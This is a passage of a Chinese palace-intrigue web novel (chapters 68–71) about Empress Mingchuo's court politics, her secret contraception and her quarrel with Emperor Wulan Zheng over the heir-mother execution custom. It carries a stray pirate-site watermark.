了也不走。还没到就寝的时候,他就不穿上衣在明绰眼前晃来晃去,晃得冬青都没敢进来伺候,还是梁芸姑把药拿进来。乌兰徵在她面前还要点脸,赶紧把那件寝衣又穿上了。
明绰懒得理他,只跟梁芸姑压低了声音说,这药倒也不必了,她今儿个出血停了,也不难受了。
“停了?”梁芸姑也很意外,“这不像月事啊,要不还是请个大夫……”
她们声音虽然低,还是让乌兰徵听见一言半语,从屏风后面探出头来插嘴:“对,请个大夫。”
明绰抓起桌上一本书就丢他。乌兰徵一闪,没让她打着。梁芸姑忍着笑,又把声音压得更低了一些,确保乌兰徵听不到:“那今晚要备上绢丝吗?”
“不用了。”明绰有意别过脸,“他想得美!”
梁芸姑抿嘴笑了笑,原样端着药又出去了。过了会儿,又端着水进来伺候明绰洗漱,等她洗漱完了,才不动声色地呈上了一方绢丝。明绰先是当没看见,一直等到梁芸姑准备告退了,才眼疾手快地把突然把绢丝抽了过去,到底还是团了一团,藏在了袖中。
第69章
和萧盈不同,乌兰徵不是一个能每十天雷打不动开大朝会的皇帝。据说大燕立国之初也尝试过这种制度,但是乌兰郁弗也是三天两头地在外征战,这“大朝会”就施行不起来了。
一直到现在,大燕朝廷有什么事情要决议还是靠皇帝随时传召,只有乌兰徵不在的时候,明绰沿用了在建康的习惯,会定期召开朝会。但乌兰徵一回来,就又变成了有事儿让朝臣们自己进宫觐见。
不过他有一点好,就是没什么忌讳。不论官阶品级,只要通报的时候把要说什么事儿讲明白了,他都愿意见一见。地方也不限,看他在哪儿,可能在书房,也可能在他的剑器阁,有的时候甚至是马场、校场之类的地方。最近陛下都在皇后宫里,他也不忌讳后宫妇人见外臣之类的,传了就见,有话就说。
大部分时候明绰觉得这一点很好。在建康的时候,“听政”是一件很麻烦的事情,她母后掌权这么多年,每次上朝还是必须坐在帘后,以示“代行天子事”。很多时候为了方便,谢太后也会在上阳宫议政,但她作为长公主是不能随便听的。母后会有意让她参与一下,但也仅限于私下处理上书的时候。议政时,那些朝臣们一看见她在,就都会作出一副讳莫如深的样子,若是遇到太父,更是免不了一番教训。
不过也有些时候,比如六七个朝臣在长秋殿啰嗦了一个下午之后,明绰也很希望,陛下能不能专门挑个地方接见朝臣。
今天这帮人来,还是商量同一件事,谁能接替温峻。
汉学的学监们都已经被劝回去继续履职了,但所谓“学监”一职,主要还是管理一些日常的琐事,誊抄整理文书等等的工作。汉学到底教什么,如何评定学生的成绩,这才是温峻之前的职责,这个人要由陛下亲自指派。可是光是“精通乌兰语的汉人”这一条,就已经把朝中大部分的汉臣筛去了。除此以外还得公正,有名望,本身的学识足以服人……实在是不好选。
明绰陪着商量了一下午,倒有一半的时间是在听他们发牢骚。找不出合适的人,难免就要忧心汉学还能不能办下去,这胡汉之争什么时候是个头,到底是谁对,又是谁错……
乌兰徵作为君主是要公正,但他毕竟还是个乌兰人,什么话该说什么话不该说,作为臣下还是得有点数,可惜不是每个人都有数。明绰见势头不对就赶紧把话往回圆一圆,省得有人当“直臣”当得太上瘾,真把乌兰徵当成什么谏言都纳的圣贤明君了。
看着天都要黑下来了,明绰到底扛不住了,先找机会躲进里间去透口气。
梁芸姑见缝插针地给她把药端上来,明绰闻见那味道脸就皱成了一团。
“能不喝吗?”
梁芸姑很坚持:“不行。”
这还是之前的方子,治她月信不准的。但明绰心里知道,已经不是这个毛病了。上次她出过一回血,第二天就停了,她没当回事。但自从那次以后,总是断断续续地出血,一开始确实和经痛很像,慢慢痛得就有些厉害了。尤其是跟乌兰徵同房的时候,他甚至都没用力,她就疼得受不住。而且每回同房以后,都会有更多的出血,到后来就变成了每天都出一点血,原本该来的月事却没有来。
梁芸姑担心得不得了,女子下红不止绝对不是什么好事,但是明绰坚决不肯见大夫。每回都是跟同房有关系,她自己疑心是因为那绢丝,这就绝对不能让人知道。可是这疑心多少有些难以启齿,明绰连梁芸姑都没告诉,梁芸姑干着急,只能拿原先的方子让她喝着。
药没什么用,但明绰借着这由头不让乌兰徵碰她了,也再不用那绢丝,总算这两天出血和腹痛都好了一些。梁芸姑不明就里,只觉得还是得喝药。
明绰拗不过她,只能把药端过来,捏着鼻子一口气灌到了底。外面又传来好几个人同时开始说话的声音,听着声音有些激动,还提到了“太后”等语。梁芸姑担忧地看了一眼,又看明绰。但是明绰摆了摆手,决定放他们再吵一会儿。
梁芸姑把药碗收好:“别真惹了陛下生气。”
“他现在已经气不动了。”明绰苦笑了一声,压低了声音跟梁芸姑说,“你别看他汉话说得挺好,到底不是汉人。这么说一下午,他比我累多了。”
尤其这帮老学究,说话引经据典,有的话明绰都得绕个弯来理解,更别说乌兰徵了。从刚才她就发现了,乌兰徵的神情特别空,已经好一阵儿没在听了。
她从前心里想过,乌兰徵在内政上对段太后的依赖是因为感情,但现在觉得这里面感情的成分可能没她想得那么高。
梁芸姑也摇摇头:“陛下只能马上打仗,不会嘴上打仗。”
她话音未落,乌兰徵便进来了。梁芸姑赶紧告了个罪,但是乌兰徵只是一摆手,什么都没说。梁芸姑退开了几步,乌兰徵就跪伏在了地上,伸手抱住了明绰的腰,把脸埋在了她的大腿上。
明绰给梁芸姑使了个眼色:“去让秋桑她们备点酒菜,留诸位大人吃饭吧。”
梁芸姑轻轻摇了摇头,明绰不解其意,梁芸姑只好轻声道:“从前上阳宫里从不留朝臣吃饭的。”
不止不留,要是遇见那种特别啰嗦,有事儿不赶紧说的朝臣,谢太后连口水都不给,再有拖延误事的,就把软垫也撤了,让人生跪。时间一长,朝臣们就明白了,牢骚和脾气都收起来,面见的时候有问题说问题,有对策就说对策。
明绰反应过来了,但她还没说话,乌兰徵已经道:“别给他们饭吃,让他们等着。”
梁芸姑这才喏了一声,退下了。
乌兰徵又问:“你听见了吗?”
“听见了。”明绰回答,“萧典又替太后求情?”
乌兰徵指了指自己的左耳:“这是萧典,”然后又指指右耳,“这是乙满,贺儿薄跟步察巴合。”
从汉学的事情吵到太后的处置,针尖对麦芒,每一个细枝末节都不肯相让。明绰很同情地把手搭在了他的后脑上,摸了摸他的头发,至少西海人还不会来烦她。
眼下这个局面本来就是因太后而起,最后又
说到太后身上也是必然。她一直被软禁在西觉寺,雍州军该如何处理也是个大问题。乙满他们想借机把雍州军吃下去,乌兰徵也是断然不可能答应的。他承诺了“不动”雍州军,太后也是主动交的兵符,这是段锐他们到现在还乖乖不动的原因,但五万人不是小数目,时间长了肯定是不行的。
萧典之前已经提过一回了,劝陛下别生气了,还是把太后接回来。
“萧典太不明白陛下了。”明绰知道他的打算,“陛下生太后的气还在其次,要紧的是借这个机会把‘雍州军’打散。”
乌兰徵的脸还是贴着她的大腿,闷着声音笑了一声:“不只是‘雍州军’。”
西海各部的军队其实和雍州军没什么区别,他们现在集结在乌兰徵身边,但各有各的将领。平时养活这些军队的粮食、田地,装备他们的战马、武器,这些都是将领们自己负责。无论是西海,还是中原的北方,都太散了,被乌兰郁弗统一起来也就是近十几年的事情。他们父子在军中的威信很高,这些将领都服他们,看起来就好像大家都是大燕的兵马,实际上,这些军队还是只服自己的将领。真正“大燕的兵马”,其实只有乌兰部本来那一点点而已。
打天下的时候没什么,天下打下来了,做皇帝的就不喜欢这种局面了。
乌兰徵抬起头:“本来想等灭了拔拔真以后再着手办这件事。”
但是形势不等人。太后着急跟齐木格动手,也提醒了乌兰徵。“雍州军”不应该存在,“某某部”的兵马也不应该存在,他们都应该是大燕的军队。以后有朝廷养着,各部将领也要领朝中军衔,受上级约束。
明绰好像听明白了他的意思,轻轻朝外间点了点下巴:“陛下这是只顾着拢军权,要把汉学的烂摊子扔给我啊?”
乌兰徵握住她的手:“你跟他们好说话一些。”
明绰笑了,然后又绷住了脸:“那我想用谁都行?”
“都行。”
“我说了算?”
乌兰徵郑重点头:“你说了算。”
“有人不服我怎么办?”明绰有意拿腔拿调的,“历来女子干政,骂得都可难听了。陛下不在也就罢了,如今陛下都回来了,我哪还敢?”
乌兰徵毫不犹豫:“谁敢骂你,杀了他。”
明绰没忍住又笑出声,马上又轻轻捂住他的嘴,别把这话让外头听见了,然后又正色道:“那陛下可知道,为什么汉学的学官任命,乙满他们也要来插手?”
“你直接说。”乌兰徵揉了揉眉毛,“不要这样问。”
萧典就喜欢这样先提一个问题再进言,又不是真的想听他回答,给他都问烦了。
明绰便伸手替他揉了揉太阳穴:“汉学是为大燕挑人,关系到日后的选官。这个学官是谁的人,就意味着往后十年、二十年,朝中都是谁的人。”
乌兰徵闭着眼睛,若有所思地“唔”了一声:“你是说,要改选官?”
“改?”明绰说得很直接,“你们有什么旧制能拿来改的吗?”
乌兰徵睁开眼看了看她,又说不出来什么话,干脆把嘴闭上了。大燕没有成型的选官制度,一向是皇帝用谁就是谁,然后近臣再举荐自己的人。至于再往下的各级小吏就更混乱了,很多地方都不是长安任命的。
“选官要有一个章程,”明绰继续往下说,“官制也要有一个章程。国家大了,就得各司其职,上下有序,一层层地转起来,陛下才能省力。不然这大事小情的,谁都往宫里跑,陛下要累死的。”
乌兰徵便笑了一声,他哪会不知道要累死的,他就是快累死了。官制也是定了的,但要做到“各司其职、上下有序”却很难,究其根本,就是因为西海各部的军权没有收拢,战事一多,他们权力就更不受管束。而且上下文书通行要靠汉文,可为难死西海十八部这些人了——那又绕回到推广汉学之必要了。
“要着手办这些事情,陛下先收军权是对的,”明绰不给他揉太阳穴了,双手往下,捧住了他抬起来的脸,“军政一体嘛。”
“嗯,军政一体……”乌兰徵稍微挺身,在她唇边亲了一下,“夫妻也是一体。”
明绰笑了,乌兰徵把她两只手都合在掌心,握紧,然后又贴到了自己的胸口。两人什么都没说,就这么你看着我,我看着你。好一会儿,明绰才轻声道:“太后未必不明白陛下的心思,还是乖乖地交出了兵符。若是丞相还在,收西海各部的军权怕是也没那么容易。陛下就看在这份上,原谅了太后吧。”
她说得有条理,不像萧典一样张口就是“孝道”,乌兰徵听到耳朵里舒服了许多,但也没立刻答应,不动声色的。
明绰继续道:“云屏公主伤心得不得了,不敢找她的额珈,只能跟我哭。”
乌兰徵眉毛一挑,看起来被说动了。他跟兄弟姊妹的感情都算不错的,但他们接二连三地,性命都留不住,乌兰徵心里十分悲戚。就剩了云屏这么一个小妹妹还活着,他尤其心疼。但到底是岁数差得太多,没什么机会相处,乌兰徵光心里疼,嘴上不说,妹妹也有点儿怕他。
乌兰徵叹了口气,只道:“我也没有不让她去见额珂。”
“小孩子什么都明白的。”
“你怎么会替她求情?”乌兰徵有些哭笑不得的,那天殿上皇后两次去扶,两次被太后挣开,他都看在眼里。以前段太后确实是很支持萧明绰的,但乌兰徵心里想着,经历了杀齐木格一事,段太后这样胁迫明绰,她们两个也不可能和从前一样了。如今他又有意让明绰理政,她去跟汉臣打交道,填补的正是从前段太后的位置,她应该是最不希望段太后回宫的人。
明绰也不好说什么。段太后的手段她不敢苟同,但无论如何,她答应过要一起杀了齐木格,却在最后关头反悔,怎么说都是她心里难安。太后若想报复,其实可以去跟乌兰徵说出她以绢丝避孕的实情,但太后也没有这么做。
“太后……”明绰斟酌着,“到底于我有恩。”
乌兰徵已经换了个姿势,席地而坐,偎在她脚边。听她说了这话,抬头看了她好一会儿,最后也只道:“我知道了。”
他也不说是不是要把人放回来,但已是表明愿意重新再想想,明绰便不再多言。外间说话的声音又稍稍大了一些,朝臣们被他们干撂着,也不知道该怎么办。明绰笑了笑,起身来出去。乌兰徵一把拉住她的裙摆:“你别去理他们,没听梁夫人说的吗?学学你母后。”
明绰把裙摆拉出来,笑得厉害:“我母后也没有把人丢在外间干等过——好了,我去把人打发了,下回再学我母后。”
乌兰徵这才松了手,胳膊倚在明绰刚坐的凳子上,歪着头看她怎么去“打发”。明绰一出去,外间的声音就更响了一些,好几个人一块儿说起话来,明绰便抬了抬手,让他们一个都别说了。
“陛下乏了,今儿就议到这儿。”
众人又开始七嘴八舌地说话,强调此事有多么重要。明绰也不理睬,就气定神闲地坐着,一副油盐不进的态度。乌兰徵不知道什么时候也踱出来了,脸色阴沉地扫了他们一眼,众人终于反应过来什么,要进言的声音一下子熄了。
明绰看他们都安静了,这才道:“找谁来替温大人,陛下心里已经有成算了,诸位回去等着听旨吧。”
几位汉臣你看看我,我看看你,再看看明显已经耐心耗尽的陛下,总算找出一点儿自知之明来,纷纷告退。乌兰徵看着宫人把他们都引出去,这才问了明绰一句:“你有人选?”
“有啊。”明绰笑盈盈的。她心里早有人选,就是顾忌着不好当着乌兰徵的面插手朝廷用人,一直没说。
乌兰徵问她:“谁?”
“不是说我说了算吗?”
“是你说了算……”乌兰徵顿了顿,看着她的眼神,明白了什么,干脆手一摆,“行。你说用谁就用谁。”
他不管了。乌兰徵唤了一声,喊冬青她们上晚膳:“吃饭!”
第70章
70章这是怎样的一种如鲠在喉……
温峻的宅邸如初,只是少了出来相迎的仆役。走进去,园中已生杂草,寝室门户洞开,里面已是被翻箱倒柜过一翻,所有的东西就这么倾倒在地上,无人收拾。梁芸姑担心宵小流民占了这里,一时劝明绰不要进去,但明绰像是已经知道了什么,径直进了书房。
书房里没有被人打劫过的痕迹,所有的书都还是好好的,温峻一张书案也是整整齐齐,好像主人上一刻还在这里写字。只是一股酒气冲天,还伴随着一股什么东西馊了的味道。明绰绕过两个大书架,便看见角落里朝里躺着一个人。
听见有人进来了,他翻身过来看了一眼。头发散乱,胡茬丛生,一张脸又油又脏,不知道几天没有好好清理过。见到是皇后,他也没有任何反应,漠然地重新把脸朝向墙壁。他睡的地方连张草席也不铺,就只是石板地,但他看起来也躺得非常习惯了。
明绰:“冯先生。”
冯濂之没有半点要理睬她的意思,明绰并不意外,找来了一张凳子,非常耐心地坐在了他背后,就这么看着他。
冯濂之没有死在丞相府,虽然他本来不应该有活下来的机会。温峻知晓太后的行动,提前半个时辰把冯濂之从丞相府里唤了出来,就此逃过一场大劫。后来太后发现步察巴合出城,曾召温峻商议对策,等陛下回来如何自辩,那时明绰就见到了冯濂之。太后指望他提供更多齐木格谋反的证据,他却始终沉默,像跟在温峻身后的一片影子。
然后,明绰就不知道冯濂之的下落了。
温峻是独身一个,父母早亡,无妻无子,也无兄弟姐妹。明绰听说他被斩首之后竟无家人来收尸,本想派人去收,但回来的人却报,说有个年轻人把温峻的尸体领回去了。那时候明绰便知道,是他。
明绰等了一会儿,躺在墙角的人才终于开了口:“贵人不该来这种地方。”
“我来请冯先生。”
“我已经是个死人,”冯濂之态度漠然,始终没有把头转过来,“贵人还要请我做什么?”
“请先生出仕。”明绰不跟他绕弯子,“接替温大人掌管汉学。”
冯濂之终于有了一点反应,转过脸来,看着她。
“你要我替乌兰徵做事?”他大笑了一声,“你要我替那个昏君做事?!”
明绰定定地看着他,冯濂之不一样了。虽然他仪表不洁,蓬头垢面,但坐在那里昂着头,却有萧萧疏狂之色,竟比明绰从前见到他的任何一次都更有气度。明绰突然有一种感觉,也许他本来就应该是这样的,恐惧和卑微只是他的伪装,这世上其实早就没有他怕的人。
“不,”明绰的声音很平静,“我要你替我做事。”
冯濂之把头往后一仰,靠在墙上,半垂着眼睛看她:“我帮了皇后一次,代价就是我唯一的朋友。太贵了,草民帮不起。”
明绰心里似是被什么东西捏了一下,泛上来一股酸痛。但她不动声色,只当没听见冯濂之的话似的,继续往下说:“先生对于乌兰语的精通更甚温大人,本就是掌管汉学的不二人选。你密告柳泉村一事没人知道,乙满还是会把你当成自己人……”
冯濂之直接躺倒,重新翻了个身,面对着墙壁。
明绰便也不说了,许久,站起来,冷冷地抛下一句话:“那你就烂在这里,看着温峻一生心血尽付东流吧。”
她转身走出了书房,一直忍到走到园子里才弯腰作呕,吐也没吐出什么东西,只是两口酸水。梁芸姑赶紧给她拍了拍背,跟她交换了一个十分理解的眼神。冯濂之身上实在太臭了。
梁芸姑递上了一方帕子:“此人对陛下颇有怨怼之心,这种人能用吗?”
明绰直起身,擦了擦嘴角,只道:“他心里有怨气是人之常情。”
“若他不答应……”
“他会答应的。”明绰理了理头发,最后回头看了一眼书房,“你没看到吗?桌上摊的还是温峻作了一半的文章。”
梁芸姑很不放心地看着已经被洗劫一空的宅邸:“那要不要派两个人过来?”
“不用了,”明绰已经往外走,“乙满会派人的。”
她在温家的宅邸大门外上了马车,身边还带着从宫里的侍卫,没有半点要避人耳目的意思,就这样浩浩荡荡的一行人回了宫。
不出七天,乙满向乌兰徵进言,举荐冯濂之为新任的汉学学官。
汉官集团已经做好了激烈反对的准备,但皇后提前把萧典召进宫,将凉州冯氏的家学一一数来。冯濂之的高祖冯昶在前梁出仕,官至散骑侍郎。前梁失长安之后,冯氏也并没有随宗室南渡,而是选择坚守北方。原本也是世代簪缨的门户,就这样无声地泯灭于多年战乱之中。说得萧典老泪纵横,皇后再唤冯濂之出来一见,萧典认出此人正是当初在丞相府时暗中相助之人,准备好的一大篇反对之词顿时化作了无声。
至此,冯濂之得到了乙满的推荐,皇后的保举,和萧典的默许,正式被点为汉学学官。进宫听旨时,整个人着装得体,气度非凡,乌兰徵甚至都没有想起来这个就是曾经被他让侍卫赶出长秋殿的无名翻译,只是惊叹明绰竟然真的做到了这种不可能的事情,更加放心地放权给了皇后,皇后懿旨,等同与陛下的圣旨。
于是皇后下了第一旨意,恢复十日一次的大朝会,比之前乌兰徵不在的时候她组建的临时朝会更加正式,从什么官阶穿什么服色,几品以上的能上朝,上朝如何一个个进言,政事的种类都由谁汇报,等等等等,事无巨细都和大雍的规制一模一样,只是多加了一条,帝后一同听政。
果不其然,朝中涌现除了无数反对的声音。
这一次和胡汉之争没大关系,反对的人两边都有,甚至汉官集团反对的声音还更大一点。皇后虽然代表了汉人的利益,但陛下还活得好好的,皇后就要临朝听政,实在是亘古未有,倒反天罡。
就连辽阳侯都进了宫,跟乌兰徵细数皇后几条“大罪”,最严重的就是皇后善妒,又无所出,导致陛下二十八岁了还没有子嗣。就差直说让乌兰徵多多宠幸他的女儿,贵妃陈云出。皇后不能生,他的女儿能生。
明绰一开始没放在心上,只是慨叹,辽阳侯倒是舍得女儿。他是降臣,在朝中半点实权也没有,陈云出无所倚仗,怕是儿子一出生就会被贺儿薄、步察巴合还有乙满联合起来逼死——若是做皇后的良心坏些,皇后会先下手。
但乌兰徵没有子嗣这一点,确实是戳破了很多人的心事。步察巴合在朝会上就明着攻讦萧皇后一心揽权,肯定是德行太差,上天降罚,才生不出儿子。萧典还是很支持皇后的,没有好意思直接责怪皇后生不出,但也委婉进言,请陛下也多去别的妃嫔那里。
乌兰徵当庭发怒,也是没给步察巴合留颜面,说朕还活得好好的,步察巴合就想着掌握太子,是什么心思?骂得步察巴合冷汗涔涔。明绰还没有受过这样当面的羞辱——其实“生不出儿子”算是什么羞辱呢?是她不想生的。可是她坐在那里,看着群臣们的表情,还是无法自控地感到了被灼烧一般的耻辱。
没几天,陈贵妃又来长秋殿拜见,带来了一位从民间请来的“千金圣手”,说是要给皇后看诊,被梁芸姑毫不客气地赶了出去。可是等把人赶走,连梁芸姑也是劝,那绢丝不能再用了,皇后还是要早日生下太子,否则,陛下给再多的权柄,她也是握不牢的。
明绰发了脾气,连梁芸姑也一并赶了出去。
她不明白为什么所有人都盯着她的肚子——又或者说,她明白,但她就是不忿。皇后缓和了胡汉之争,解决汉学的难题的时候,谁都说她好,说她贤明有才,可是她真的要坐在乌兰徵身边的时候,他们又众口一词地只是说她生不出儿子。
从前她不明白母后为何这样仇恨萧盈,明明是因为有了做儿子的皇帝,才有她这个太后的呀。直到如今她才终于明白,这是怎样的一种如鲠在喉。
乌兰徵听说了这件事,也没有惩治陈贵妃,反而让她把那位千金圣手再召来。晚上亲自来了长秋殿,好言好语地宽慰,想让明绰看一看大夫。
他近日已经不宿在长秋殿里了,明绰下红不止,腹痛难忍,已经多日不能同房。但他睡在身边又总是忍不住动手动脚的,明绰烦了,就把他赶回去自己睡。乌兰徵倒不是跟着群臣一起责怪皇后生不出儿子,可皇
后确实是身子不好,他担心她这样讳疾忌医,耽误了自己的身体。
但他劝了半天,明绰就给了一句话,说她已经好了,不用看大夫了。
“好了?”乌兰徵有些意外,“那……”他愣了愣,随即又露出一个笑容,“那今晚我可以睡回来了?”
明绰摇了摇头,看着他:“陛下若来了,我就又不好了。”
乌兰徵没明白她的意思,明绰突然站起来,从床头的隐秘处取出了一个小盒子,打开,给乌兰徵看,里面都是叠好的一块一块绢丝。
她什么都没说,只是看着乌兰徵的表情。这法子是段知妘教给她的,若她没有猜错,当年他们俩背着乌兰郁弗做那种事,段知妘就是这么避子的,所以他一定知道这是什么,不需要她多说。果然,乌兰徵定定地看了一会儿,没有问她这是什么,而是抬起头,很轻地问她:“为什么?”
“陛下也看见步察巴合的态度了,都等着呢。”明绰苦笑了一声,“我怎么敢生啊?”
乌兰徵突然扬起手,狠狠地把木盒掀到了地上,里面的绢丝扬出来,轻飘飘地荡在了空中,还没落地,又重新被乌兰徵猛地站起来的动作带出的风托起。
“我已经说过了,”乌兰徵每一个字都从牙缝里挤出来,“我不会让任何人伤害你!”
“可你也不肯废了那条祖制!”明绰也站起来,“那天在殿上,你明明可以直接说出来,让步察巴合可以死心!你什么都没说!”
“我说了——”
“你说的是,”明绰的眼泪落下来,“‘额赤哥是何居心’……他是何居心你不明白吗!”
“这不正是敲打他……”
“我不要你敲打他!我要你明明白白地说出来,说从此大燕再也没有子贵母死之策!”明绰深吸了一口气,“我今天就跟你说明白,此制不废,我绝不会生孩子!”
乌兰徵恼怒地踱了两圈,说不出话来。他真的不明白这到底有什么差别。他生母被处死的时候,普达惹氏一手遮天,阿耶还要依靠她收服西海诸部,所以阿耶阻止不了。可是到他这里不一样了啊,他大权在握,不需要仰仗任何人,他可以制止一切的发生,但明绰为什么就是不相信他呢?
他突然停下来,耳边又响起了几年前的声音。就在这长秋殿里,在另一个房间,不远的地方。萧明绰曾经对他说,他上不能为生母伸冤,下不能保护自己的女人,不配做这个皇帝,受这个朝拜。
那句话曾经深深地刺痛了他,让他在北镇的寒夜里无数次从梦里惊醒。他以为一切都已经变了,萧明绰现在是心甘情愿地做他的妻子,但是原来,在她心里什么都没有变。
乌兰徵自嘲似的笑了一声,伸手抓了一块落到烛台上的绢丝。这东西遇火即燃,已经烧成了一片蜷曲的焦黑。乌兰徵不知痛痒似的,顺手就把那一小团火在掌心捏灭了。
她为什么出血,为什么那么疼,为什么他不来,她就好了,也都不必再问了。
“你不想要孩子,我不碰你就是。”乌兰徵张开手,任残灰从掌心落了下去,“何必这样伤自己。”
他转身就往外走,明绰突然叫了一声:“乌兰徵!”
乌兰徵不理她,只听到明绰失控一般在后面喊:“你要是敢去找别的女人生,就再也别进我的门!”
乌兰徵脚下一顿,停在了门口。明绰说出口就懊悔了,这威胁太无力了,甚至有点儿幼稚。她还想再说什么,说她不是不想要他们的孩子,她是觉得害怕,她是气不过……可是乌兰徵怎么就是不明白她在怕什么,气什么呢?他甚至没有停下来等她开口,就和每一次不想争执的时候一样,头也不回地走出了她的房间。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
70-80
第71章
乌兰徵策马闯进西觉寺中的别院,然后猛地停在了太后所居的厢房前。门口守着的人还没来得及跪下行礼,他已经一阵风似的刮进门去,守在门口的察察慌里慌张地唤了一声“可汗”。段知妘刚从床上起身,乌兰徵已经进了门,张口就问:“为什么?!”
云屏公主被惊醒过来,睁大一双眼睛看着满脸怒容的皇兄。段知妘把女儿拦在身后,抬头给了乌兰徵一个责备的眼神:“陛下这是做什么!”
夜已经深了,母女两个显然已经睡下。乌兰徵看到妹妹的眼神,努力克制了一下自己的火气,只道:“你出来说。”
他的语气还是吓到了乌兰辉,小公主一下子哭了出来,紧紧抱住了母亲的手臂,朝乌兰徵哀叫道:“额珈,不要!”
乌兰徵皱紧了眉头,段知妘安抚地拍了拍女儿的背,小声哄了她两句,扬声唤察察进来。乌兰徵始终站在房中,原本很瘦削的一个人,却好像占据了房间内的大部分空间,察察都只敢贴着墙根走过去,把小公主抱在了怀里安抚。段知妘这才站起来,朝乌兰徵做了个出去说的手势。
段知妘本来是打算就在外间说,但乌兰徵径直走出了厢房,好像那里面太压抑了,他需要外面的空气。段知妘只好也跟着走出去,看着他一脚踢翻了她侍弄的花,这才开了口:“陛下这是发的哪门子火?”
乌兰徵转过来:“你为什么要教她那个法子?”
段知妘的眼睛轻轻眯了一下,然后马上反应过来他在说什么,好笑似的轻哂:“你终于发现了?”
乌兰徵咬紧了牙关,什么都没说。不是他发现的,是明绰自己告诉他的。如果她不说,他可能一直都发现不了。他现在觉得自己好愚蠢,就这样被她随意玩弄欺骗。一切就好像回到了最开始。
段知妘耸了耸肩,天经地义的样子:“她求我,我就教了。”
乌兰徵又问:“为什么?”
“有什么为什么?”段知妘还是笑笑,“她就是不想生啊。”
“她是皇后!”
沉默。段知妘轻轻地环抱住自己的手臂,不动声色地看着眼前高大的男人,没有任何争执的欲望。夜已经凉了,她身上只有一件单薄的寝衣。乌兰徵好像这才意识到她的样子其实不应该见外人,有些别扭地挪开了眼睛,但是一阵风起来,乌兰徵余光瞥见她肩膀瑟缩了一下,还是从自己肩上解下了骑马的披风,递了过来。
段知妘低头看了一眼那件披风,没接。如果是以前的他,会亲手为她披上。
“那陛下深夜纵马,又是来找我做什么呢?”她的声音很轻,“兴师问罪吗?”
乌兰徵悻悻地收回手,一时不知道如何回答。他来的时候满腔的怒火,可是段知妘这样的态度,他又不知道这火还能怎么撒。是啊,她教的,所以呢?她已经被关在西觉寺了,他还能如何再处置她?
“她心里从来没有我。”乌兰徵突然开了口,语气是他自己都没有想到的哀怨。
段知妘笑了一声,突然轻轻地往后一靠,懒懒地倚在厢房的外墙上,斜着眼看他。
“原来陛下是在皇后那里受了委屈,来找额珂了。”
这个称呼已经很久远了,他从前只有在床上才会故意叫她额珂。她突然这样说,便像是一根羽毛,突然在他心口拂了一下。但乌兰徵有意忽略了段知妘这句话,只道:“我答应过她,绝对不会让任何人伤害她,可她还是不肯信我。”
段知妘闻声叹了口气,有些疲惫地闭了闭眼。男人怎么好像永远都长不大。
“叱云额雅是死在她眼前的。”段知妘耐着性子,“当年陛下也宠过叱云额雅,结果还不是一样?”
“那不一样。”乌兰徵沉了声音,“叱云额雅是自己……”
可是说到一半,他又沉默下来,别过了脸。
乌兰徵不愿意提到叱云额雅,愧疚和怨恨总是同时从他心里升起,而他不喜欢这种感觉。他其实已经快忘记叱云额雅的样子了,只记得她很活泼,跟她在一起的时候总是不自觉地笑。阿耶驾崩以后,他被无法言说的愧疚吞噬,见到段知妘就躲,叱云额雅曾经给过他短暂的安慰。直到段知妘点破,她也曾经是阿耶的女人。他到现在都记得那天晚上段知妘说话的样子,喝多了酒,没骨头似的软在他怀里,点着他的鼻尖,呵气如兰地在他耳边说话。
“你就是喜欢你阿耶的女人。”
那是他出征的前夜,第二天,他就把长安交给了太后,而不是丞相。当他听说太后与温侍郎的私情时,他甚至都没有太多的意外。当然了,她从来都是闲不住的女人。以前也不过嫌他阿耶老,才跟他在一起。阿耶一走,她自由了,也就不用从他身上找刺激了。可是看到他即位了就把她抛到一边,她又会慌,还要引诱他,控制他——这一切他不是不清楚,他只是没办法生她的气。在西海打了三年的仗,他就想了她三年。
回来的时候,叱云额雅欢喜地去见他,他看着盛装的美人,怎么也记不起来以前对她是什么感觉。
他不知道是不是因为他没那么喜欢她了,所以她才无声无息地杀了他的孩子。他的第一个孩子。
但他也并不希望她死去,哪怕杀害皇嗣是不可原谅的死罪。知道她到底是没撑过来的那天,他在段知妘那里落了泪。即便那个时候他已经有了立萧明绰为后的心思,有些眼泪还是只有段知妘能看见。段知妘轻轻地搂着他的头安慰,那一瞬间,她真的像他的母亲。虽然他从来都不知道拥有母亲到底是什么样的感觉。
“陛下,你还有别的女人,”段知妘突然又说,“有的是女人愿意为你生孩子。”
乌兰徵看着她,突然小孩耍赖似的:“可我不要别的女人!”
段知妘神色微动,这还是她第一次听到乌兰徵说这样的话。她像是突然从他微妙的语气里找到了某种痕迹,突然露出了一个莫测的笑意。方才段知妘是讽刺地说出他受了委屈来找娘的,但那未必不是真相。在他心里,她还是有一个无限接近于母亲的地位。她一次一次地激怒他,他却依然一次一次地,在这种时刻又回来找她。
“那陛下就不该只想着皇后不肯信你,也要替皇后想一想,她为何有这么多的顾虑。”段知妘顿了顿,露出了一个略带苦涩的笑容。真不愿意就这样又帮萧明绰一次啊,可她必须抓住乌兰徵。
“与其埋怨她为什么不信任你,不如替她把后顾之忧都解决了。”
乌兰徵好一会儿没说话,不知道在想什么。段知妘上前两步,轻轻地在他手臂上摩挲了两下,柔声道:“她心里怎么会没有你呢?陛下这是自寻烦恼了。”
乌兰徵低下头,似是真的被安抚到了。段知妘也笑了笑,又朝他靠近了一点。她的身体还是很柔软,隔着一层轻纱,触碰到了他的手臂。
“徵儿……”
乌兰徵突然退了一步,唤她:“母后。”
段知妘没应,目光很深地看着他。他叫的是母后,不是额珂。乌兰徵不肯看她,只是把手上的披风抖开,草草地披在了她的肩头。他太高了,披风拢下来,把她整个人的身形全部罩住,下摆还拖到了地上。
“母后好好修行,”乌兰徵说,“过段日子,儿子再把母后接回去。”
段知妘微微一怔,然后马上整理出一个适合当下身份的欣慰神色,也退了一步:“路上黑,陛下骑马小心些。”
乌兰徵点了点头,转身就走。西觉寺到皇宫实在不算近,即使他没在太后那里耽搁太多功夫,这样一来一回,也要一整夜。乌兰徵回了自己的剑器阁,意外地发现秋桑就等在门口,想必是已经等了很久,已经坐在地上靠着门睡着了。他一唤,秋桑才一个激灵,赶紧调整到跪姿:“陛下!”
“你怎么来了?”
秋桑还睡得迷迷糊糊的,先急着告状:“陛下你终于回来了,他们都不肯告诉奴婢陛下去哪儿了……”
她环视了一圈,剑器阁的侍卫们都低着头不敢言语。乌兰徵让她起来,只道:“朕没跟他们说朕去哪儿了。”
秋桑爬起来,跟着他进了门,乌兰徵又问:“皇后叫你来做什么?”
“陛下还是回长秋殿看看皇后吧……”
